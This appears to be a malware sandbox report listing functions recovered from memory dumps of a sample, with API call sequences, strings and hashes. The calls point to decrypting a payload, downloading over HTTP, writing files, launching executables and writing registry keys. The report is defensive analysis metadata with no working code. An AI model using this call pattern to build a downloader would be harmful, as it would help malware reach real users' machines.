Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: ErrorLast
String ID: @$DOS header is not valid!$DOS header size is not valid!$ERROR_OUTOFMEMORY!$FileHeader.Machine != HOST_MACHINE!$Section alignment invalid!$Signature != IMAGE_NT_SIGNATURE!$Size is not valid!$alignedImageSize != AlignValueUp!
API String ID: 1452528299-393758929
Opcode ID: a7ee295ea28172196232d939963434d58e5a2b4f3baf6ecdb48b764af0884dbc
Instruction ID: 68209fb506ae9b68e90255ee0055c9910cae7d9580854ddc7816d62818b51dcc
Opcode Fuzzy Hash: a7ee295ea28172196232d939963434d58e5a2b4f3baf6ecdb48b764af0884dbc
Instruction Fuzzy Hash: 3E129C71B002159BDB14CF98D985BAEBBB5BF48304F14416AE809BB3C1D7B8ED41CB98

Function 004034C0 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 225
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,B23C9C44), ref: 00403540
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 00403564
_mbstowcs.LIBCMT ref: 004035B7
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 004035CE
GetLastError.KERNEL32 ref: 004035D8
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 00403600
GetLastError.KERNEL32 ref: 0040360A
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040361A
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 004036DC
CryptDestroyKey.ADVAPI32(?), ref: 0040374E

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 0040351C

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease_mbstowcs
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3642901890-63410773
Opcode ID: a0ff43f580afe8f3995dcde7a2644c92267f14c521f0fca859abd751efac2b0a
Instruction ID: 057eae88fc1e8b42dc2b0b13f8460ebd140b44a30a8541124d595f3772e2d34e
Opcode Fuzzy Hash: a0ff43f580afe8f3995dcde7a2644c92267f14c521f0fca859abd751efac2b0a
Instruction Fuzzy Hash: 4D8182B1A00218AFEF248F25CC45B9ABBB9EF45304F1081BAE50DE7291DB359E858F55

Function 00402950 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 113
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 004029F8
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 00402A0D
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 00402A1B
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 00402A36
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 00402A55
LocalFree.KERNEL32(00000000), ref: 00402A62
LocalFree.KERNEL32(?), ref: 00402A67

Strings

Error protecting memory page, xrefs: 00402A41
%s: %s, xrefs: 00402A46

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: Local$Free$AllocDebugErrorFormatLastMessageOutputProtectStringVirtual
String ID: %s: %s$Error protecting memory page
API String ID: 839691724-1484484497
Opcode ID: 2c46ffc98d029cfadbc5bd6c783c679e7e34e813f473582b7efecdd829900f05
Instruction ID: 2da31f80489fd9465a3e1d2b594a5759e7c0520832ca97f04c55df17c8a78757
Opcode Fuzzy Hash: 2c46ffc98d029cfadbc5bd6c783c679e7e34e813f473582b7efecdd829900f05
Instruction Fuzzy Hash: 0831F272B00114AFDB14DF58DC44FAAB7A8FF48304F0541AAE905EB291DA75AD12CA88

Function 00401880 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 00401905
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 00401924

Strings

text, xrefs: 00401B5C

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: FileInternet$PointerRead
String ID: text
API String ID: 3197321146-999008199
Opcode ID: 74c99a18c910dce1e6054f9d50f006690a9fa5816be1f98360e8e89f05aab892
Instruction ID: 86dcce6fdabdf1d76a3839b2d4c7acaf7fb3a9f1032210a7d38a4a94718e3fd4
Opcode Fuzzy Hash: 74c99a18c910dce1e6054f9d50f006690a9fa5816be1f98360e8e89f05aab892
Instruction Fuzzy Hash: 7AC16B71A002189FEB25CF24CD85BEAB7B9FF48304F1041ADE509A76A1DB75AE84CF54

Function 0040EF0D Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,0040EF0C,00000000,74DEDF80,?,00000000,?,004114AD), ref: 0040EF2F
TerminateProcess.KERNEL32(00000000,?,0040EF0C,00000000,74DEDF80,?,00000000,?,004114AD), ref: 0040EF36
ExitProcess.KERNEL32 ref: 0040EF48

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0681eec8a10bae1972cdd76b7596642c5d6b23a8fea5b51096d6af8d336d3898
Instruction ID: d9b2d8b9480fbdfc0f40d30fbcce2ac7d268d3ffe56ae59340c1a79faed9bf6b
Opcode Fuzzy Hash: 0681eec8a10bae1972cdd76b7596642c5d6b23a8fea5b51096d6af8d336d3898
Instruction Fuzzy Hash: 48E08C71400108BFCF117F26CC0898A3F28FB10341B004835F804AA232CB39DD92CB58

Function 00D7A3BE Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00D7A3E6
Module32First.KERNEL32(00000000,00000224), ref: 00D7A406

Memory Dump Source

Source File: 00000000.00000002.2421354084.0000000000D79000.00000040.00000020.00020000.00000000.sdmp, Offset: 00D79000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d79000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 8e93a43244b899c94567347a15a9111dc3a3466c29e3c4ade3084d3db0ee0d60
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 59F06231100710ABD7202BFD988DB6E76E8EF89725F144628E64AD14C0EAB0EC458A72

Function 00408020 Relevance: 2.5, Strings: 2, Instructions: 27COMMON

Download Yara Rule

Strings

emp, xrefs: 00408037
mixtwo, xrefs: 0040805C

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: Sleep
String ID: emp$mixtwo
API String ID: 3472027048-2390925073
Opcode ID: 7c8f0e1ea6e5323602f9bb77927d34118e87d89025315e812fc220ab57e9b21a
Instruction ID: 72a2dd17e89226f8ccca0b0bb08db3f26db736a0bfe45ababc36bb360cb4900e
Opcode Fuzzy Hash: 7c8f0e1ea6e5323602f9bb77927d34118e87d89025315e812fc220ab57e9b21a
Instruction Fuzzy Hash: 7BF08CB160130457E710BF24ED1B71A3EA4970275CFA006ADDC601F2D2E7FB821A97EA

Function 004055C0 Relevance: 27.3, APIs: 5, Strings: 10, Instructions: 1092
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,?,756CD120), ref: 00405620
__Init_thread_footer.LIBCMT ref: 00405847
Sleep.KERNEL32(00000BB8,00000000,?,0042B77C,0042B92C,0042B92D,?,?,?,?,?,?,?,00000001,SUB=,00000004), ref: 00405A4A

Part of subcall function 00406550: __Init_thread_footer.LIBCMT ref: 004065B9

Part of subcall function 004065E0: __Init_thread_footer.LIBCMT ref: 0040663A

Part of subcall function 00407C30: __Init_thread_footer.LIBCMT ref: 00407C99

Part of subcall function 00407BB0: __Init_thread_footer.LIBCMT ref: 00407C09

Part of subcall function 00407B10: __Init_thread_footer.LIBCMT ref: 00407B8D

Sleep.KERNEL32(00000BB8,00000000,?,?,?,?,?,004272E8,00000000,00000000,?,00000000,00000001,SUB=,00000004), ref: 004062DE
Sleep.KERNEL32(00000BB8,00000000,00000000,004272E8), ref: 004063DD

Part of subcall function 00407FA0: __Init_thread_footer.LIBCMT ref: 00407FF9

Part of subcall function 00407F20: __Init_thread_footer.LIBCMT ref: 00407F79

Part of subcall function 00407EC0: __Init_thread_footer.LIBCMT ref: 00407F11

Part of subcall function 004055C0: RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405493
Part of subcall function 004055C0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 004054B5
Part of subcall function 004055C0: RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 004054DD
Part of subcall function 004055C0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004054E6

Strings

viFO, xrefs: 00404537
DFEK, xrefs: 00404EDC
SUB=, xrefs: 00405632
^OX*, xrefs: 004046E8
Q)9, xrefs: 004056F8
KDOX, xrefs: 00404541
mixone, xrefs: 00405ADF
updateSW, xrefs: 004051E8
]DFE, xrefs: 0040428D
get, xrefs: 0040575C

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: Init_thread_footer$Sleep$CloseCreateOpenValue
String ID: DFEK$KDOX$Q)9$SUB=$]DFE$^OX*$get$mixone$updateSW$viFO
API String ID: 2078494684-1136066708
Opcode ID: 7fba9629649c4136d0b733ee673e7c0618d10c2ff9c61210964d837162572417
Instruction ID: f649a411d8851b1a91c0a488fce11130e3673d7bad0c40fe0d5f826dd2b8960c
Opcode Fuzzy Hash: 7fba9629649c4136d0b733ee673e7c0618d10c2ff9c61210964d837162572417
Instruction Fuzzy Hash: 3F82AF71D001049ADB14FBB5C95ABEEB3789F14308F5081BEF412771D2EF786A49CAA9

Function 10001523 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 192
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000152A
__cftof.LIBCMT ref: 10001624
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 1000163D
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 10001660
InternetConnectA.WININET(00000000,?,00000050,?,?,00000003,00000000,00000001), ref: 10001680
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,80400000,00000001), ref: 100016B0
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 100016C9
InternetCloseHandle.WININET(00000000), ref: 100016E0
InternetCloseHandle.WININET(00000000), ref: 100016E3
InternetCloseHandle.WININET(00000000), ref: 100016E9

Strings

GET, xrefs: 100016AA
http://, xrefs: 10001567

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectH_prolog3_OptionSend__cftof
String ID: GET$http://
API String ID: 1233269984-1632879366
Opcode ID: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction ID: 7cfd31fe4164df5669dc4f011f358c4066a4bf273ac9d15a63e71752a24e0b34
Opcode Fuzzy Hash: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction Fuzzy Hash: D5518F75E01618EBEB11CBE4CC85EEEB7B9EF48340F508114FA11BB189D7B49A45CBA0

Function 00401740 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 103
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004017B7
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004017DD

Part of subcall function 00402470: Concurrency::cancel_current_task.LIBCPMT ref: 004025A3

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401803
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401829

Strings

GET, xrefs: 00401F81
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 00401807
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 00401779
text, xrefs: 00401B5C
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 004017E1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 004017BB

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: HeadersHttpRequest$Concurrency::cancel_current_task
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$text
API String ID: 2146599340-3782612381
Opcode ID: 15361f417402fd4ecc7fc6d3c75552e14ddd1825e06757481bbfd3e0326afcfa
Instruction ID: 9ba0ec624b0ce2a87a65cb7bdca14d25b7083be08071b54b776f69b68f7f070f
Opcode Fuzzy Hash: 15361f417402fd4ecc7fc6d3c75552e14ddd1825e06757481bbfd3e0326afcfa
Instruction Fuzzy Hash: 34316171E00108EBDB14DFA9DC85FEEBBB9EB48714F60812AE121771C0C778A644CBA5

Function 04B4003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 04B4024D

Strings

kernel32.dll, xrefs: 04B4008F, 04B40095
cess, xrefs: 04B4018D

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: aaf139267ef4e5642fbb18c39f388347c894ce93ea4240f5c082b251081cc81f
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: EB527974A01229DFDB64CF68C984BACBBB1BF49304F1480D9E94DAB351DB30AA85DF15

Function 10001175 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 264
networkcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000117F
InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 100011DD
InternetReadFile.WININET(?,?,000003E8,?), ref: 100011FB
HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 10001298
CoCreateInstance.OLE32(?,00000000,00000001,100111B0,?), ref: 100012CA

Strings

text, xrefs: 10001327

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: FileInternet$CreateH_prolog3_HttpInfoInstancePointerQueryRead
String ID: text
API String ID: 1154000607-999008199
Opcode ID: f206d19b4f254f0d6769d041d1967d247a093756c437c0eb0d60e70cbfafb4d3
Instruction ID: b002d723a568eb8b1b2c33cfea8b8604ab2d7fe63d6740fb25dc42610badb9b0
Opcode Fuzzy Hash: f206d19b4f254f0d6769d041d1967d247a093756c437c0eb0d60e70cbfafb4d3
Instruction Fuzzy Hash: 62B14975900229AFEB65CF24CC85BDAB7B8FF09355F1041D9E508A7265DB70AE80CF90

Function 10001F20 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10005956: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,10001F48,00000000), ref: 10005969
Part of subcall function 10005956: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000599A

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 1000212B
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,0000000A), ref: 10002155

Strings

open, xrefs: 1000214F
.exe, xrefs: 1000206B

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: Time$CreateExecuteFileProcessShellSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: .exe$open
API String ID: 1627157292-49952409
Opcode ID: 56d22cbb363ef52b0cda4d79fccaca7080f97512d5dca005a7fc8db3fc5e430b
Instruction ID: 97952a91a625a221cb26b3956644a393a6e3da00256d77b8c5daa8cab0653b15
Opcode Fuzzy Hash: 56d22cbb363ef52b0cda4d79fccaca7080f97512d5dca005a7fc8db3fc5e430b
Instruction Fuzzy Hash: 40514B715083809BE724DF64C881EDFB7E8FB95394F004A2EF69986195DB70A944CB62

Function 00401D60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

http://, xrefs: 00401DE0

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID:
String ID: http://
API String ID: 0-1121587658
Opcode ID: abedc0d90a1f4d3688eb9c4f017047df236718ab065654b8d82d4035641d8820
Instruction ID: beb1f9afae3dc46702148b7d116b1b3e2c798cd3d3ea86b197954d74152ad0ce
Opcode Fuzzy Hash: abedc0d90a1f4d3688eb9c4f017047df236718ab065654b8d82d4035641d8820
Instruction Fuzzy Hash: F451C371E002099FDB14CFA8C885BEEBBB5EF48314F20812EE915B72C1D7799945CBA4

Function 009A95E8 Relevance: 4.6, APIs: 3, Instructions: 85
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 009AD3ED
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 009AD414
GetNativeSystemInfo.KERNEL32(?), ref: 009AD46B

Memory Dump Source

Source File: 00000000.00000002.2420658294.00000000009A4000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a4000_dI3n4LSHB7.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: fdcc2a91055b6688dd2a7c087ad1f183922aae311d5af4c362b389f10c3c9b0b
Instruction ID: 43e32e0389bf4dd400c8e452e38006c59d2c330e3e460a8cb1fc4900c2f629aa
Opcode Fuzzy Hash: fdcc2a91055b6688dd2a7c087ad1f183922aae311d5af4c362b389f10c3c9b0b
Instruction Fuzzy Hash: 6D315D7240524E9FEF11CF54C809BEE3BE8EB06300F510426D94285D51E77A5DA4DF99

Function 004020C0 Relevance: 4.6, APIs: 3, Instructions: 53
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 004020F6
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402117
CloseHandle.KERNEL32(00000000), ref: 0040211E

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 8b77efdb325a00ac37aead48d1dd076f0e9ed27c116024a8a8daefa345587264
Instruction ID: 54406537bc71ee86772d4e0f102f4040d02d69394e2def86726d8d124470bd26
Opcode Fuzzy Hash: 8b77efdb325a00ac37aead48d1dd076f0e9ed27c116024a8a8daefa345587264
Instruction Fuzzy Hash: 4401D671610204ABD720DF68DD49FEEB7A8EB48725F00053EFA45AA2D0DAB46945C758

Function 00A866C7 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 94
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00A86FA9

Strings

V, xrefs: 00A86F80

Memory Dump Source

Source File: 00000000.00000002.2420658294.00000000009A4000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a4000_dI3n4LSHB7.jbxd

Similarity

API ID: AllocVirtual
String ID: V
API String ID: 4275171209-1342839628
Opcode ID: b0b5c5be960b974f7828a30411c9713c6c997d3a2e5a5ad06882533115a98558
Instruction ID: 3143c5bd6d3f3cb853f5df08673ae3ec73e726f8533c08d95905d5e276d3c20f
Opcode Fuzzy Hash: b0b5c5be960b974f7828a30411c9713c6c997d3a2e5a5ad06882533115a98558
Instruction Fuzzy Hash: 09319A7160820EDFEB10AF28DC487AF77A6EB08355F644025EA04D3F91D6B6AC60CB59

Function 04B40E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,04B40223,?,?), ref: 04B40E19
SetErrorMode.KERNEL32(00000000,?,?,04B40223,?,?), ref: 04B40E1E

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: f91484002589e88e4a4d3f6ea8ab43fed4857b487d85ba7f5556b63228273427
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 0BD0123154512877D7003A94DC09BCD7B1CDF09B62F008451FB0DD9080C770964046E6

Function 00AAB310 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?), ref: 00AAB31F

Memory Dump Source

Source File: 00000000.00000002.2420658294.0000000000AAA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AAA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_aaa000_dI3n4LSHB7.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 52e6674b88b4a4e5c41721ed4c939daa3771ee8b995b95b89c0704953bf21e3f
Instruction ID: 505090156596e2e45798e17e90b0b7da738cf1167a5a56edf8e0f1691df60a26
Opcode Fuzzy Hash: 52e6674b88b4a4e5c41721ed4c939daa3771ee8b995b95b89c0704953bf21e3f
Instruction Fuzzy Hash: 2811E37211A24F9BDB129F24D9463DE3F61EF47320F248026E8000BEC3C7B658269B78

Function 100079EE Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

Memory Dump Source

Source File: 00000000.00000002.2423917899.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2423894296.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423948703.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2423983729.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_dI3n4LSHB7.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f1ff2abc0f9b0129279cb81424fa89791b5c74a503f020079eb334c9f6e41783
Instruction ID: 0f7b013f9e5e8caa32c185eac4a395cd376aa25861a87a311eefda30a96e0e36
Opcode Fuzzy Hash: f1ff2abc0f9b0129279cb81424fa89791b5c74a503f020079eb334c9f6e41783
Instruction Fuzzy Hash: 2FE0A035B0012266F711EA698C00B8F3A89FB832F0F124120AC489209ADA68DE0181E2

Function 0041249E Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,0040A15B,?,?,?,004010EC,?,004034A7,?,?,?), ref: 004124D0

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 493f356888a0dcd889554c34f33c7b2690b2cf14b3e600665f7a64bb4c109bb9
Instruction ID: ad8272dea5af250e00f6a395d7f300feb0e2b911a381963764dc482fc342fffd
Opcode Fuzzy Hash: 493f356888a0dcd889554c34f33c7b2690b2cf14b3e600665f7a64bb4c109bb9
